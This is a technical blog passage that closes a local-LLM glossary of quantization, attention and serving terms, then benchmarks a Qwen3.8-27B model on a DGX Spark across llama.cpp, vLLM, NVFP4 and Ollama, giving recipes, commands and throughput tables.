**Dense vs MoE.** A dense model uses all its parameters for every token. A Mixture of Experts model has many parameters but routes each token through only a few of them, so a 30B MoE with 3B active parameters streams roughly 3B worth of weights per token and feels dramatically faster. This is the whole reason a 30B MoE can hit 100+ t/s on a Spark while a real dense 27B sits at 11.

**Active parameters.** The subset of an MoE's weights actually used per token. Written like `2.4T-A95B`, meaning 2.4 trillion total parameters, 95 billion active. Active is the number that predicts speed. Total is the number that predicts memory.

## Quantization: decoding the format names

Quantization is storing the model's numbers in fewer bits. Fewer bits means fewer gigabytes to stream per token, which means faster decode, at some cost in quality. [Day 4](/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters) is the full treatment; this is the lookup table.

| Format | Bits per weight | What to know |
|---|---|---|
| FP32 | 32 (4 bytes) | Full precision. Almost nobody serves at this. |
| BF16 / FP16 | 16 (2 bytes) | The reference quality. A 27B model is about 54GB. |
| FP8 | 8 (1 byte) | Halves the size with very little quality loss. Native on Hopper and Blackwell. A 27B is about 29GB. |
| INT4 | 4 (0.5 bytes) | Generic 4-bit integer. Quality depends heavily on how it was produced. |
| NVFP4 | 4 | NVIDIA's 4-bit float with fine-grained scaling, with native tensor core support on Blackwell (so on GB10). Usually the best speed on this hardware. |
| MXFP4 | 4 | Open Compute Project's 4-bit micro-scaling float. Same idea, different standard body. |

**GGUF.** The single-file model format llama.cpp and Ollama use. It packs weights plus metadata plus tokenizer into one file you can move around. Not a precision, a container: a GGUF file also has a quantization type inside it.

**Q4_K_M, Q4_K_XL and friends.** The llama.cpp quantization naming scheme, three parts stacked:

- `Q4` is 4 bits per weight.
- `_K` is the K-quant layout. Instead of one scaling factor for a whole tensor, weights are stored in super-blocks of 256 that are split into blocks of 32, each carrying its own quantized scale. Outlier weights then only distort their own block of 32 rather than dragging a whole tensor's precision down.
- The last letter is a size tier: `S` small, `M` medium, `L` large, `XL` extra large. Higher tiers spend extra bits on the tensors that matter most, so the file is a bit bigger and the quality a bit better.

**UD (Unsloth Dynamic).** A prefix like `UD-Q4_K_XL` means the layers were deliberately not all quantized to the same width. Embeddings and the first and last blocks keep more bits because everything downstream depends on them, while the more redundant middle feed-forward layers get squeezed harder. The result holds up better than a uniform 4-bit quant of the same file size.

**Checkpoint.** A published set of weights, usually a Hugging Face repo at a specific revision. "The official FP8 checkpoint" means the model author's own FP8 publication, as opposed to a community requantization.

**Marlin.** A family of fast GPU kernels for quantized matrix multiplication in vLLM. `VLLM_MARLIN_USE_ATOMIC_ADD: '1'` switches those kernels to atomic accumulation, which is a correctness and performance workaround on some GPU and shape combinations. It is the kind of environment variable you copy from a working recipe rather than derive.

**Bytes per parameter arithmetic.** The one calculation worth memorizing: parameters times bytes per parameter equals weight size. 27B at FP8 is about 27GB, at 4-bit about 16GB, at BF16 about 54GB. Then add KV cache and runtime overhead on top.

## Context, attention, and the KV cache

**Context window.** The maximum number of tokens the model can have in front of it at once, prompt plus generated output plus any system message. 262,144 tokens is a large modern window, and it is often quoted as "262K" or "256K" loosely.

**KV cache.** As the model reads your prompt, each attention layer computes key and value vectors per token, and caches them so it does not recompute them for every subsequent token. Very effective, but the cache grows linearly with context length and with the number of concurrent requests, and it lives in the same memory pool as the weights. Long contexts and many users both eat memory here, not in the weights.

**KV cache dtype.** The precision the cache is stored at. Storing it at `fp8` instead of 16-bit roughly halves cache memory, letting you serve longer contexts or more users on the same box, at a small accuracy cost.

**Prefix caching.** If two requests share the same beginning (a system prompt, a document, a conversation so far), the runtime can reuse the KV cache from the shared part instead of prefilling it again. Enormous win for chat and agent workloads where 90% of every request is the same prefix. In vLLM this is `--enable-prefix-caching`.

**Attention.** The mechanism that lets each token look at the other tokens in context and decide what is relevant. Standard ("full") attention lets every token look at every previous token, which is powerful and gets more expensive as context grows.

**Flash attention.** A way of computing attention that avoids writing the giant intermediate attention matrix to memory, making it much faster and much cheaper in memory. Effectively always worth turning on: `-fa on` in llama.cpp.

**Attention backend.** Which implementation of attention the serving engine actually calls. In vLLM you might see `flashinfer`, `flash_attn`, or `xformers`. **FlashInfer** is a library of highly tuned attention and GEMM kernels; on the Spark's `sm121` architecture it picks the `xqa` decode kernel and supports an FP8 KV cache. Different backends can differ by 2x on the same hardware, which is why recipes pin one.

**Linear attention.** An alternative that keeps a fixed-size running state instead of a cache that grows with every token. Cheaper and flat in context length, but with less precise recall than full attention. Modern models often use a hybrid: a few full attention layers for precise recall, the rest linear.

**Gated DeltaNet.** The specific linear attention design used by recent Qwen models. The *gate* decides how fast old memory fades, and the *delta rule* writes targeted corrections into the fixed-size state rather than appending to an ever-growing list. The state is the same size at token 100,000 as it is at token 10, which is exactly why decode speed on these models barely sags as context grows. In Qwen3.8-27B, 48 of 64 layers are Gated DeltaNet and every 4th layer is full gated attention.

**RoPE (Rotary Position Embedding).** How most models encode *where* a token sits in the sequence, by rotating the token's vector by an angle that depends on its position. Positions the model never saw in training land at angles it does not understand, which is why context windows have a hard native limit.

**YaRN (Yet another RoPE extensioN).** A technique for stretching that limit. It rescales the positional frequencies, stretching each one differently depending on its wavelength, so the model can address positions well beyond its training range without a full retrain. "262K native, extensible to 1M with YaRN" means the extra range is available but is an extension, not a native capability.

**Vision encoder and mmproj.** A vision language model ships a separate encoder that turns images into tokens the language model can read. In GGUF land that encoder is a companion file called `mmproj` (multimodal projector). No `mmproj`, no images, even if the model is capable of them.

**Thinking mode.** Models that emit reasoning inside `<think>` blocks before their actual answer. Better on hard problems, more tokens spent, so slower and more expensive per reply. Vendors publish different recommended sampling settings for thinking and non-thinking modes.

**Reasoning parser and tool call parser.** Server-side parsers that pull those `<think>` blocks and any tool or function calls out of the raw token stream and put them in the right fields of the OpenAI-compatible API response. Wrong parser and your client sees reasoning text glued into the answer, or tool calls it cannot recognize. These are per model family: `reasoning_parser: qwen3`, `tool_call_parser: qwen3_coder`.

## Speed tricks

**Batching / continuous batching.** Running several requests through one pass over the weights. Since decode is bandwidth-bound, one weight-streaming pass can feed 10 tokens for 10 different users at almost the cost of feeding 1. This is why aggregate throughput climbs with concurrency while per-user throughput barely drops, and it is the main thing production servers like vLLM and SGLang buy you over single-user tools.

**Speculative decoding.** A cheap model guesses the next few tokens, the real model verifies them all in one pass. Correct guesses are free tokens; wrong ones are discarded, so the output is identical to what the big model would have produced on its own. No quality risk, real speedup.

**Draft model.** The cheap guesser in that scheme, a small separate model. "DSpark" is a community-built 5-layer, ~2.6GB drafter for Qwen3.8-27B.

**MTP (Multi-Token Prediction).** The same trick with no separate model: the big model ships an extra head trained to predict several tokens ahead, and drafts for itself. Cheaper to deploy than a draft model since there is nothing extra to load. When Ollama serves a model 2x faster than llama.cpp on the same quantization, MTP being on by default is usually the reason.

**NEXTN.** SGLang's name for its MTP-style speculative path. Same idea, different engine.

**Acceptance rate.** The fraction of drafted tokens the real model accepts. This is the whole ballgame for speculative decoding, and it is a property of *your workload*, not of the model. Editing existing code, where the draft mostly copies text already in the prompt, can hit 98% acceptance and 3x speedups. Writing fresh prose or new code, where the drafter is genuinely guessing, might hit 30%. This is why a tokens-per-second number without its workload attached is close to meaningless.

**k / num_speculative_tokens.** How many tokens the drafter proposes per round. Higher k pays off when acceptance is high and wastes work when it is low.

**Tensor parallel (TP).** Splitting each layer's matrices across multiple GPUs so they all work on every token together. Needs fast interconnect between the cards. `tensor_parallel_size: 2` means two GPUs.

**Pipeline parallel (PP).** Splitting the model by layer, so GPU 0 runs the first half and GPU 1 the second. Tolerates slower interconnect, but one card is idle while the other works unless you keep several requests in flight.

## The flags you copy-paste

### vLLM and sparkrun recipes

A [sparkrun](https://sparkrun.dev) recipe is a YAML file that pins a model, a container, and the serving flags, so a working setup is one file rather than an afternoon of dependency fighting. The `defaults:` block is vLLM server arguments, and `env:` is environment variables passed into the container.

| Key | What it does | How to think about it |
|---|---|---|
| `gpu_memory_utilization: 0.8` | The share of GPU memory vLLM is allowed to claim up front, for weights plus KV cache | Higher means more KV cache, so longer contexts and more concurrent users. Too high and the launch fails or something else on the box starves. On unified memory, remember other processes share the pool. |
| `max_model_len: 131072` | The maximum context length the server will accept, in tokens | Can be lower than the model's native window, and often should be: every token of headroom you reserve costs KV cache memory. 131072 is 128K. |
| `max_num_batched_tokens: 32768` | Cap on how many tokens the scheduler puts into one forward pass | Bigger batches mean better prefill throughput and chunkier latency. This is the prefill throughput vs responsiveness dial. |
| `load_format: instanttensor` | How weights are read off disk into memory | `instanttensor` is a fast-load path that gets a 29GB checkpoint resident in seconds once cached, instead of minutes. Pure startup time, no runtime effect. |
| `kv_cache_dtype: fp8` | Precision of the KV cache | Roughly halves cache memory versus 16-bit, so you fit longer contexts or more users. Small accuracy cost. |
| `attention_backend: flashinfer` | Which attention kernel library to use | On the Spark's `sm121`, FlashInfer gets the fast decode path and FP8 KV cache support. |
| `tool_call_parser: qwen3_coder` | Extracts tool and function calls from the token stream | Must match the model family, or your agent framework sees plain text where it expected a structured call. |
| `reasoning_parser: qwen3` | Extracts `<think>` blocks into the response's reasoning field | Must match the model family, or reasoning text leaks into the answer. |
| `VLLM_MARLIN_USE_ATOMIC_ADD: '1'` | Environment variable switching Marlin quantized kernels to atomic accumulation | A hardware-specific workaround. Copy it from a working recipe. |
| `--enable-prefix-caching` | Reuses KV cache across requests that share a prefix | Big win for chat and agents, effectively free. |
| `speculative_config` | Turns on speculative decoding, e.g. `{"method": "mtp", "num_speculative_tokens": 3}` | See MTP and acceptance rate above. |

### llama.cpp

| Flag | What it does |
|---|---|
| `-hf <repo>:<quant>` | Pulls the GGUF straight from Hugging Face. Note recent builds cache into `/root/.cache/huggingface`, not the old `llama.cpp` path, which matters when you mount a volume. |
| `-ngl 99` | Number of layers to offload to the GPU. 99 is the idiomatic "all of them," since anything left on the CPU is dramatically slower. |
| `-c 32768` | Context size in tokens for this server instance. Larger costs KV cache memory. |
| `-fa on` / `-fa 1` | Flash attention. Turn it on. |
| `--host 0.0.0.0 --port 8091` | Bind address and port for the OpenAI-compatible server. |
| `mmproj-*.gguf` | The vision projector file. Present in the repo means images work. |

`llama-bench` is llama.cpp's built-in benchmark, and it is where `pp512`/`tg128` style names come from.

### Ollama

| Thing | What it does |
|---|---|
| `num_ctx` | Context size, Ollama's equivalent of `-c`. Ollama picks a default from available memory. |
| `num_predict` | Maximum tokens to generate in a reply. |
| `ollama ps` | Shows loaded models and, critically, whether they are on GPU. If it says anything less than `100% GPU`, your benchmark is measuring the CPU and will be 3 to 5x too slow. |
| `prompt_eval_count` / `eval_count` | Ollama's own counters for prompt tokens and generated tokens, with matching `_duration` fields in nanoseconds. Divide to get t/s. |

### Sampling knobs

These control how the next token is picked from the model's probability distribution. They change output style, not speed.

- **temperature.** How much randomness. 0 is deterministic and repetitive, 1.0 is creative, above about 1.2 usually becomes incoherent. Use 0 when benchmarking so runs are comparable.
- **top_p (nucleus sampling).** Only consider tokens inside the top cumulative probability mass, e.g. 0.95. Cuts off the long tail of unlikely tokens.
- **top_k.** Only consider the k most likely tokens, e.g. 20.

Model authors publish recommended values per mode, and it is worth using theirs. Qwen3.8's thinking mode wants temp 1.0 / top_p 0.95 / top_k 20, non-thinking wants temp 0.7 / top_p 0.80.

## Hardware words

**GB10.** The Grace Blackwell superchip inside the DGX Spark: Arm CPU plus Blackwell GPU plus 128GB of unified LPDDR5X at about 273 GB/s.

**sm_121 / compute capability.** NVIDIA's architecture version tag for a GPU. GB10 is `sm_121`. Kernels have to be compiled for your architecture, so "supports sm121" in a release note is the difference between working and not. [Day 3](/blog/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists) covers the Spark's hardware story in detail.

**Tensor cores.** The dedicated matrix multiply units. Which precisions they support natively (FP8 and FP4 on Blackwell) decides which quantization is genuinely fast rather than merely smaller.

**GB vs GiB.** GB is 1,000^3 bytes, GiB is 1,024^3. A "128GB" box reports about 119 GiB, and vendors and tools mix the two freely. When a number looks 7% off, this is usually why.

**`nvidia-smi` on GB10.** Cannot report memory usage on this chip and prints `Not Supported`. Use `free -h`, since the memory is unified anyway.

## Where to go next

If you want these terms in context rather than as a list, the Local LLM series builds them up in order:

- [Day 1: The Local LLM Revolution](/blog/day-1-the-local-llm-revolution-why-your-desk-just-became-the-new-datacenter), why running models locally became viable at all
- [Day 2: Anatomy of an LLM Inference Request](/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step), prefill and decode end to end
- [Day 3: The DGX Spark Unpacked](/blog/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists), the hardware and why bandwidth rules everything
- [Day 4: Quantization Demystified](/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters), every format name in depth
- [Day 5: Inference Engines and What to Pick](/blog/day-5-local-llm-inference-engines-wrappers-and-what-to-pick), Ollama vs llama.cpp vs vLLM vs SGLang

And if a term bit you that is not defined here, tell me and I will add it. That is what this page is for.

---

# Running Qwen3.8-27B on DGX Spark

- Canonical: https://blog.kubesimplify.com/qwen3-8-27b-on-dgx-spark
- Published: 2026-08-17
- Summary: Qwen3.8-27B on DGX Spark with llama.cpp, Ollama, vLLM, and SGLang: the recipes, the tokens per second I measured, MTP speculative decoding, and the sharp edges I hit along the way.

Qwen announced the 3.8 family on August 3: Qwen3.8-Max, the 2.4T flagship, plus a promise that open weights were coming "next week". The Max weights (2.4T-A95B) landed August 12. The one everyone actually wanted for local inference, the 27B, went quiet. Trackers even reported it as delayed with no new date.

It dropped on August 14. I had it running on the DGX Spark within the hour, so here is the full recipe, what worked on day zero, what did not, and the numbers. Let's get into it.

Here is exactly what everything below was run on:

| Component | What I ran |
|---|---|
| Box | DGX Spark, GB10, 128GB unified memory |
| OS and driver | DGX OS, driver 580.159.03, kernel 6.17.0-1018-nvidia |
| Test dates | August 14-15, 2026 (the MTP, SGLang, and DSpark runs came on August 17) |
| llama.cpp | build b10423 |
| vLLM | spark-arena nightly 0.27.2rc1, plus stable v0.27.1 for the DSpark run |
| Ollama | v0.32.12 |
| SGLang | latest-cu130 |
| Load-test tool | llama-benchy 0.4.0 |
| FP8 checkpoint | Qwen/Qwen3.8-27B-FP8 at 017b9c7a (the launch upload, unchanged since) |
| GGUF quant | unsloth/Qwen3.8-27B-GGUF at 4604b899 |
| NVFP4 quant | unsloth/Qwen3.8-27B-NVFP4 at 60e813d4 (day zero), 7d6f8d4d (MTP runs) |

unsloth updated both quants after launch, so I re-benchmarked the updated NVFP4 revision: 11.9 t/s single-stream, within 4% of the numbers below, nothing material changed.

Every measurement in this post came from one of these four commands, so you can rerun any table row yourself:

```bash
# llama.cpp raw numbers (pp512/pp2048/tg128/tg32 tables)
docker run --rm --gpus all -v $HOME/models/qwen38:/root/.cache/huggingface \
  --entrypoint /app/llama ghcr.io/ggml-org/llama.cpp:server-cuda \
  bench -m <path-to>/Qwen3.8-27B-UD-Q4_K_XL.gguf -fa 1 -p 512,2048 -n 128,32

# vLLM and SGLang numbers (all pp2048/tg128 tables, any depth/concurrency)
uvx llama-benchy@0.4.0 --base-url http://<spark-ip>:8000/v1 --model <served-model> \
  --pp 2048 --tg 128 --depth 0 16384 32768 --concurrency 1 2 5 10 \
  --enable-prefix-caching --save-result results.csv --format csv

# Ollama numbers (from Ollama's own eval counters, temperature 0, 3 runs)
curl -s http://127.0.0.1:11435/api/generate -d '{"model":"qwen3.8:27b",
  "prompt":"<prompt>","stream":false,"options":{"temperature":0,"num_predict":200}}' \
  | jq '{prompt_tok:.prompt_eval_count, prompt_ns:.prompt_eval_duration, gen_tok:.eval_count, gen_ns:.eval_duration}'

# Edit-heavy vs fresh-generation workload comparison (DSpark section)
python3 edit_bench.py http://127.0.0.1:8002/v1 qwen3.8-27b   # from 0xBakeer's repo, bench/
```

Two words to have straight before the tables below, because every number in this post is one or the other. **Prefill** is the model reading your prompt: all the input tokens get processed in parallel, so it is fast, hundreds to thousands of tokens per second. **Decode** is the model writing its answer one token at a time, each token waiting on the one before it, so it is slow, single or low double digits here. Prefill is the wait before the first word appears; decode is the speed you watch it type at. In benchmark names, `pp2048` is prefill measured on a 2,048 token prompt and `tg128` is decode measured over 128 generated tokens. Anything else that reads like a magic string in this post is in the [local LLM glossary](/blog/local-llm-glossary).

## What Qwen3.8-27B actually is

Reading the config before running things saves a lot of confusion, and this one is interesting:

- 27B parameters, and it is NOT a MoE. 64 layers with a hybrid attention pattern: every 4th layer is full gated attention, the other 48 layers are [Gated DeltaNet](https://arxiv.org/abs/2412.06464) (linear attention). Same hybrid lineage as Qwen3.5/3.6.
- Native vision language model. There is a 27-layer vision encoder in the checkpoint, images and video in, text out.
- 262,144 token native context, extensible to 1M with [YaRN](https://arxiv.org/abs/2309.00071), short for Yet another RoPE extensioN: it rescales the model's positional frequencies, stretching each one differently depending on its wavelength, so the model can address positions further out than it was ever trained on without a full retrain.
- Thinking mode on by default (`<think>` blocks), with recommended sampling temp 1.0 / top_p 0.95 / top_k 20. Non-thinking: temp 0.7 / top_p 0.80.
- Apache 2.0.
- Architecture class is `Qwen3_5ForConditionalGeneration` (`model_type: qwen3_5`). This detail matters: it is the same architecture family the inference engines already support, which is why day-zero support mostly just works.

Gated DeltaNet deserves a sentence of its own, because it quietly explains most of the numbers later in this post. Normal attention keeps a KV cache that grows with every token you feed it, so the deeper your context gets, the more memory has to be read before the next token can come out. A linear attention layer keeps a fixed-size running state instead: the gate decides how fast old memory fades, and the delta rule writes targeted corrections into that state rather than appending to an ever-growing list. The state is the same size at token 100,000 as it is at token 10. Hold onto that one, it is why decode speed barely moves as context grows further down.

Qwen's own (vendor-reported, so calibrate accordingly) numbers for the 27B: SWE-bench Pro 61.7, LiveCodeBench v6 90.3, Terminal Bench 2.1 at 73.0, GPQA Diamond 89.2, OSWorld-Verified 84.3.

## What works on the Spark on day zero

| Path | Status on day zero |
|---|---|
| llama.cpp + unsloth GGUF | Works (stock release build b10423, vision mmproj included) |
| vLLM + official FP8 checkpoint | Works, on both the stable v0.27.1 release and the spark-arena nightly (recipes below) |
| Ollama | Works, needs v0.32.12 (released the same day) |
| SGLang | Works on upstream latest; the older pinned dev container silently produced garbage (see below) |

## The llama.cpp path (fastest way to first token)

Let's start with the fastest way to first token. One command, and the server pulls the GGUF straight from Hugging Face:

```bash
docker run -d --name qwen38-llamacpp --gpus all -p 8091:8091 \
  -v $HOME/models/qwen38:/root/.cache/huggingface \
  --entrypoint /app/llama-server \
  ghcr.io/ggml-org/llama.cpp:server-cuda \
  -hf unsloth/Qwen3.8-27B-GGUF:Q4_K_XL \
  --port 8091 --host 0.0.0.0 -ngl 99 -c 32768 -fa on
```

Three of those flags do the heavy lifting: `-ngl 99` offloads all layers to the GPU (99 is the idiomatic "all of them", and anything left on the CPU is dramatically slower), `-c 32768` sets the context window to 32K tokens, and `-fa on` enables flash attention, which computes attention without materializing the giant intermediate matrix in memory. That last one is free speed, leave it on.

Two gotchas I hit so you do not have to:

1. Recent llama.cpp downloads `-hf` models into the Hugging Face hub cache (`/root/.cache/huggingface`), not the old `/root/.cache/llama.cpp` path. Mount the right one or your 18GB download disappears with the container.
2. The GGUF repo ships `mmproj-BF16.gguf` alongside the weights (llama.cpp pulled it automatically), so the vision path is wired up for llama.cpp as well. `mmproj` is the multimodal projector, the companion file that turns images into tokens the language model can read: no mmproj, no images, however capable the model is. I test it below.

First token arrives fast and the model correctly identified what it was running on (a nice recursive moment: Qwen3.8-27B on a DGX Spark explaining what a DGX Spark is).

Quick decode of that quant name before the numbers, because `UD-Q4_K_XL` is three labels stacked on top of each other. `Q4_K` is llama.cpp's 4-bit K-quant: instead of one scaling factor for a whole tensor, weights are stored in super-blocks of 256, split into blocks of 32 that each carry their own quantized scale, so outlier weights do less damage to their neighbours. `UD` is Unsloth Dynamic, meaning the layers are deliberately not all quantized the same: embeddings and the first and last blocks keep more bits because everything downstream depends on them, while the more redundant middle feed-forward layers get squeezed harder. `XL` is the size tier, which promotes selected important matrices to 5-bit where unsloth judges that safe. The practical upshot is 16.68 GiB of weights that hold up better than a uniform 4-bit quant of the same size.

The `llama-bench` numbers (build b10423, flash attention on, UD-Q4_K_XL, 16.68 GiB weights):

| Test | Result |
|---|---|
| pp512 (prefill) | 838.6 t/s |
| pp2048 (prefill) | 837.4 t/s |
| tg128 (decode) | 11.6 t/s |
| tg32 (decode) | 11.6 t/s |

Let me be honest about that decode number, because this is where dense models and the Spark have a complicated relationship. The GB10's unified memory is the whole reason a 27B fits comfortably, but its ~273 GB/s of bandwidth is the ceiling for decode on any dense model: every generated token has to stream all 16.7GB of weights. Think of it like re-reading a whole book off the shelf before you can write each next word: your reading speed sets the pace, not how fast you can think. Do the arithmetic and 273 GB/s over 16.7GB puts the theoretical ceiling around 16 t/s, so the measured 11.6 is roughly 70% of peak, which is about what real kernels get. If you have been running MoE models like Nemotron 3.5 Lightning (30B but only ~3B active) on the Spark and got used to 100+ t/s decode, recalibrate: this is a real dense 27B, all parameters working on every token.

Prefill is a different story: 838 t/s means a 2,000 token prompt is processed in under 2.5 seconds, and the hybrid DeltaNet layers keep that roughly flat as context grows.

Fun detail: llama-bench identifies the model as "qwen35 27B", the architecture tag from the config showing through in the GGUF metadata.

## The vLLM path (best throughput)

Now let's do it properly with vLLM. No official Spark Arena recipe existed for Qwen3.8 when it dropped (the model was hours old), but the `@official/qwen3.6-27b-fp8-vllm` recipe is the same architecture family, so I adapted it. This is the part I want to highlight about the Spark ecosystem right now: [sparkrun](https://sparkrun.dev) recipes made a day-zero model a config-file edit, not an afternoon of dependency fighting.

```yaml
recipe_version: '2'
model: Qwen/Qwen3.8-27B-FP8
runtime: vllm
container: ghcr.io/spark-arena/dgx-vllm-eugr-nightly:latest
defaults:
  gpu_memory_utilization: 0.8
  max_model_len: 131072
  max_num_batched_tokens: 32768
  load_format: instanttensor
  kv_cache_dtype: fp8
  attention_backend: flashinfer
  tool_call_parser: qwen3_coder
  reasoning_parser: qwen3
env:
  VLLM_MARLIN_USE_ATOMIC_ADD: '1'
```

That is a lot of magic strings in twelve lines, so here is what each one is actually doing, because these are the knobs you will end up turning yourself:

| Setting | What it does | Why this value |
|---|---|---|
| `gpu_memory_utilization: 0.8` | The share of memory vLLM claims up front, for weights plus KV cache | Higher means more KV cache, so longer contexts and more concurrent users. On unified memory you cannot go greedy: everything else on the box shares this pool. |
| `max_model_len: 131072` | Longest context the server will accept, in tokens | 128K, well under the model's native 262K. Every token of headroom you reserve costs KV cache memory, and I would rather have the memory. |
| `max_num_batched_tokens: 32768` | Cap on tokens the scheduler puts in one forward pass | The prefill-throughput vs responsiveness dial. Bigger batches process prompts faster and make latency chunkier. |
| `load_format: instanttensor` | How the weights get off disk and into memory | Pure startup time. It is why a 29GB checkpoint is resident in under 5 seconds once cached instead of minutes. |
| `kv_cache_dtype: fp8` | Precision the KV cache is stored at | Roughly halves cache memory versus 16-bit, which is what buys the long-context headroom. Small accuracy cost. |
| `attention_backend: flashinfer` | Which attention kernel library runs | On `sm121` FlashInfer picks the `xqa` decode kernel and supports the FP8 cache above. Backends can differ by 2x, which is why recipes pin one. |
| `tool_call_parser: qwen3_coder` | Pulls tool and function calls out of the raw token stream | Has to match the model family, or your agent framework sees plain text where it expected a structured call. |
| `reasoning_parser: qwen3` | Pulls `<think>` blocks into the response's reasoning field | Same story: wrong parser and reasoning text leaks into the answer. |
| `VLLM_MARLIN_USE_ATOMIC_ADD: '1'` | Switches Marlin's quantized kernels to atomic accumulation | A hardware-specific workaround. This one you copy from a working recipe rather than derive. |

Then:

```bash
uvx sparkrun run ./qwen38-27b-fp8-vllm.yaml
```

The official FP8 checkpoint is 29GB, `instanttensor` loads the weights in under 5 seconds once cached, and FlashInfer picks the `xqa` decode backend on sm121 with FP8 KV cache. Changes from the 3.6 recipe: I dropped the qwen3.6-specific chat template mods (3.8 ships a correct template) and set `max_model_len` to 128K, which is plenty while leaving KV headroom.

The numbers, measured with [llama-benchy](https://pypi.org/project/llama-benchy/) 0.4.0 (the same tool Spark Arena standardizes on), pp2048/tg128 at depth 0:

| Concurrency | Prefill pp2048 (t/s) | Decode tg128 aggregate (t/s) | Decode per request (t/s) |
|---|---|---|---|
| 1 | 1,914 | 8.2 | 8.2 |
| 2 | 1,305 | 16.1 | 8.2 |
| 5 | 540 | 36.3 | 7.8 |
| 10 | 627 | 57.9 | 7.2 |

Two things jump out:

1. vLLM's prefill is 2.3x llama.cpp's (1,914 vs 837 t/s). The FlashInfer path on sm121 is doing its job.
2. vLLM's single-stream decode (8.2 t/s) is SLOWER than llama.cpp's (11.6 t/s). This is not a vLLM problem, it is arithmetic: the FP8 checkpoint streams 28.75GB per token, the Q4_K_XL GGUF streams 16.7GB. On a bandwidth-bound box the smaller quant wins single-stream, always. What vLLM buys you is batching: 10 concurrent requests get 57.9 t/s aggregate, because one weight-streaming pass now feeds 10 tokens instead of 1.

So the honest serving decision tree on a Spark: single user chatting → llama.cpp with the smallest quant you can tolerate quality-wise. Serving a team or agents in parallel → vLLM FP8.

### The long-context concurrency wedge (day-zero honesty)

Not everything works yet. When I pushed 10 concurrent requests at 32K context depth, the engine effectively wedged: requests admitted one at a time, prefill bursts healthy at ~3,277 t/s, but aggregate generation collapsed to 0.2-0.6 t/s and sat there. It had not crashed, it was just stuck. Short-context concurrency: fine. Single-stream: fine (numbers below). Concurrent + deep context: pathological, at least in this nightly build with the hybrid DeltaNet architecture.

At low concurrency, deep context is actually where this architecture shines. Measured at 32,768 tokens of context depth:

| Config | Value |
|---|---|
| Prefill into 32K context (c=1) | 534-700 t/s |
| Decode at 32K context (c=1) | 7.9 t/s |
| Decode at 32K context (c=2, aggregate) | 15.1 t/s |

The decode number is the one to notice here: 8.2 t/s at zero context, 7.9 t/s at 32K context, a 3% drop. On a conventional full-attention model the KV cache reads grow with context and decode sags noticeably; here 48 of the 64 layers are linear attention with constant-size state, so decode speed is nearly flat in context depth. For long-document and agentic workloads on local hardware, that flatness matters more than the headline number.

This is what day zero actually looks like: the happy paths work because the architecture class was already supported, and the corner cases (linear-attention state management under concurrent long-context load) still need the engines to catch up. If you are evaluating this model for production serving, test YOUR context/concurrency profile before committing.

## NVFP4: the best-numbers recipe

GB10 is a Blackwell chip, and Blackwell has native FP4 tensor cores (NVFP4 being NVIDIA's 4-bit float format, covered properly in [Day 4](/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters)), so the natural question is whether the NVFP4 quant (unsloth/Qwen3.8-27B-NVFP4, ~16GB) buys real speed. Same recipe as above with the model swapped, and FlashInfer autotuned 46 fp4_gemm kernel configs on first boot. It does:

| Concurrency | Prefill pp2048 (t/s) | Decode tg128 aggregate (t/s) | Decode per request (t/s) |
|---|---|---|---|
| 1 | 1,794 | 11.5 | 11.5 |
| 2 | 2,393 | 21.6 | 11.0 |
| 5 | 2,719 | 49.8 | 10.5 |
| 10 | 3,999 | 84.3 | 9.6 |

NVFP4 ties llama.cpp's single-stream decode (11.5 vs 11.6, both stream ~16GB of weights, the physics is consistent), and wins everything else: 84.3 t/s aggregate decode at concurrency 10 (46% over FP8's 57.9), and batched prefill that scales UP with concurrency to nearly 4,000 t/s where FP8's fell. If you serve this model on a Spark, NVFP4 is the recipe.

The quality tradeoff of 4-bit quantization is real and workload-dependent; benchmark your own evals before standardizing on it.

## Spark Arena

The numbers in this post are reproducible: I submitted the NVFP4 run to [Spark Arena](https://spark-arena.com), the community leaderboard where GB10 owners run the same standardized llama-benchy profile (pp2048/tg128, depths 0 to 100K, concurrency 1/2/5/10) and publish results with the full recipe attached. Submission sub1786754097881, status Completed. Grab the recipe from the leaderboard and you should land on the same numbers.

Two full-grid results worth highlighting: decode at 100K context depth is still 9.8 t/s single-stream (15% below zero-context, at ONE HUNDRED THOUSAND tokens of context), and the 32K-deep concurrency-10 cell that wedged FP8 completed fine on NVFP4 at 63.1 t/s aggregate.

## The Ollama path (same-day support)

`ollama pull qwen3.8` failed all afternoon with "pull model manifest: file does not exist", and then Ollama shipped v0.32.12 the same day the weights landed, with qwen3.8 in the library: 27b tag, 18GB, 256K context, vision, thinking mode on by default. Older Ollama versions (including 0.32.11 from a day earlier) refuse the pull with a "requires a newer version" error, so upgrade first.

```bash
OLLAMA_HOST=127.0.0.1:11435 ollama pull qwen3.8:27b   # 18GB, Q4_K_M
```

Measured the same way as my previous Spark posts (temperature 0, 3 runs, numbers from Ollama's own eval counters):

| Metric | Result |
|---|---|
| Prefill (~2,200 token prompt, cold) | 731 t/s |
| Decode (200 tokens) | 26.5 t/s |

Wait. 26.5 t/s decode, when llama.cpp does 11.6 on the same-size Q4 and the bandwidth ceiling says ~16? The answer is in the model config Ollama ships: `draft_num_predict 4`, and the runner launches with `--spec-type draft-mtp`. The Ollama build of Qwen3.8 includes the model's multi-token prediction head and turns speculative decoding ON by default, so each weight-streaming pass validates up to 4 drafted tokens. Same trick their Nemotron builds used. The plain unsloth GGUF I benchmarked in llama.cpp does not carry the MTP head, so it pays full price per token.

That makes Ollama the single-stream champion of the day, and it did it with zero flags. Credit where due: they also default the context to 262K on this box (vram-based default) and the vision projector is wired up.

Here is the day-zero picture across all the engines in one chart (the vLLM MTP and SGLang numbers further down came later):

![Qwen3.8-27B on DGX Spark: measured prefill and decode across llama.cpp, Ollama, and vLLM](/img/blog/qwen3-8-27b-on-dgx-spark/chart.png)

One operational note: the GB10 needs Ollama's cuda_v13 runner. My first attempt loaded the model on 100% CPU (7.5 t/s decode) because of a botched duplicate server start, so check `ollama ps` says `100% GPU` before you trust any numbers.

## Vision test: it read its own benchmark chart

